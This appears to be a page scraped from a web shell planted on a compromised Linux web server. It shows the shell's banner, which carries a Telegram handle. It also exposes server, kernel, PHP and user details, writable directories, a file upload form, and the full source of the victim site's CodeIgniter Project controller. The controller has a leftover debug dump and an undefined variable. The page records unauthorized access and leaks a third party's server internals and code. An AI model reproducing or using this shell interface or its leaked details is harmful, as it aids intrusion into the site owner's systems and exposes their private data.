https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/kokohpondasi.co.id/public_html/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/kokohpondasi.co.id/public_html/application/controllers/Project.php
<?php defined('BASEPATH') OR exit('No direct script access allowed');

class Project extends Public_Controller {

	public function __construct() {
		parent::__construct();
		$this->session->set_userdata('site_lang','indonesian');
	}

	public function index(){

		//get this project data
		$this->db->select('*')->from('project')->where('project_status', 1)->order_by('priority');
		$data['projects'] = $this->db->get()->result(); 

		$this->db->select('*');
		$this->db->from('configuration');
		$data['config'] = $this->db->get()->result();

		foreach ($data['config'] as $item) {
			$this->data_header['image'] = $item->logo;
			$this->data_header['icon'] = $item->website_icon;
			$this->data['fax'] = $item->fax;
			$this->data['hp'] = $item->hp;
			$this->data['company_address'] = $item->company_address;
			$this->data_footer['twitter']= $item->twitter;
			$this->data_header['instagram']= $item->instagram;
			$this->data_header['facebook']= $item->facebook;
			$this->data_footer['website_name']= $item->website_name;
		}

		//get SEO
		$this->data_header['browser_title'] = 'Project'; 
		$this->data_header['meta_description'] = 'Project';
		$this->data_header['meta_keywords'] = 'Project';
		
		$this->load->view('template/header', $this->data_header);
		$this->load->view('project', $data);
		$this->load->view('template/footer', $this->data_footer);
	}

	public function get() {

		if(!$this->input->post('category')) {
			redirect('project');
		}

		//get category from view
		$categories_arr = $this->input->post('category');

		//check id there is content inside category array
		$categories_count = count($categories_arr);

		$categories = '';

		if ($categories_count > 0) {
			foreach ($categories_arr as $category) {

				if($categories == '') {
					$categories = $category; 
				} else {
					$categories = $categories . ',' . $category;
				}
			}
		}

		//get filtered projects data
		$data['projects'] = $this->db->select('*')->from('project')->where('project_status', 1)->like('category_product', $categories)->order_by('priority')->get()->result();
	
		$item = $this->db->select('*')->from('configuration')->where('id_configuration', 1)->get()->row();

		$this->data_header['image'] = $item->logo;
		$this->data_header['icon'] = $item->website_icon;
		$this->data['fax'] = $item->fax;
		$this->data['hp'] = $item->hp;
		$this->data['company_address'] = $item->company_address;
		$this->data_footer['twitter']= $item->twitter;
		$this->data_header['instagram']= $item->instagram;
		$this->data_header['facebook']= $item->facebook;
		$this->data_footer['website_name']= $item->website_name;

		//get SEO
		$this->data_header['browser_title'] = 'Project'; 
		$this->data_header['meta_description'] = 'Project';
		$this->data_header['meta_keywords'] = 'Project';
		
		$this->load->view('template/header', $this->data_header);
		$this->load->view('project', $data);
		$this->load->view('template/footer', $this->data_footer);

	}

	public function search_by_type(){

		$project_types = $this->input->post('project_type');
		var_dump($project_types);exit;
		$type_count = count($project_type);

		$type = '';

		if ($type_count > 0) {
			foreach ($project_types as $project_type) {
				$type = $project_type;
			}
		}

		$data['projects_type'] = $this->db->select('*')->from('project')->where('project_status',1)->like('project_type',$type)->order_by('priority')->get()->result();


		$item = $this->db->select('*')->from('configuration')->where('id_configuration', 1)->get()->row();

		$this->data_header['image'] = $item->logo;
		$this->data_header['icon'] = $item->website_icon;
		$this->data['fax'] = $item->fax;
		$this->data['hp'] = $item->hp;
		$this->data['company_address'] = $item->company_address;
		$this->data_footer['twitter']= $item->twitter;
		$this->data_header['instagram']= $item->instagram;
		$this->data_header['facebook']= $item->facebook;
		$this->data_footer['website_name']= $item->website_name;

		//get SEO
		$this->data_header['browser_title'] = 'Project'; 
		$this->data_header['meta_description'] = 'Project';
		$this->data_header['meta_keywords'] = 'Project';
		
		$this->load->view('template/header', $this->data_header);
		$this->load->view('project', $data);
		$this->load->view('template/footer', $this->data_footer);


	}

	public function ajax_get_projects() {
		//test if ajax call to prevent direct access
		if (!$this->input->is_ajax_request()) {
			exit('No direct script access allowed'); 
		 } 
		 
		 $project_year = $this->input->post('project_year');

		 $data['projects'] = $this->db->select('project_name, city, year')->from('project')->where('year', $project_year)->where('project_status', '1')->order_by('priority', 'ASC')->get()->result();

		 $this->load->view('ajax/ajax_get_projects', $data); 
	}
}
?>

https://t.me/RX1948 - 2025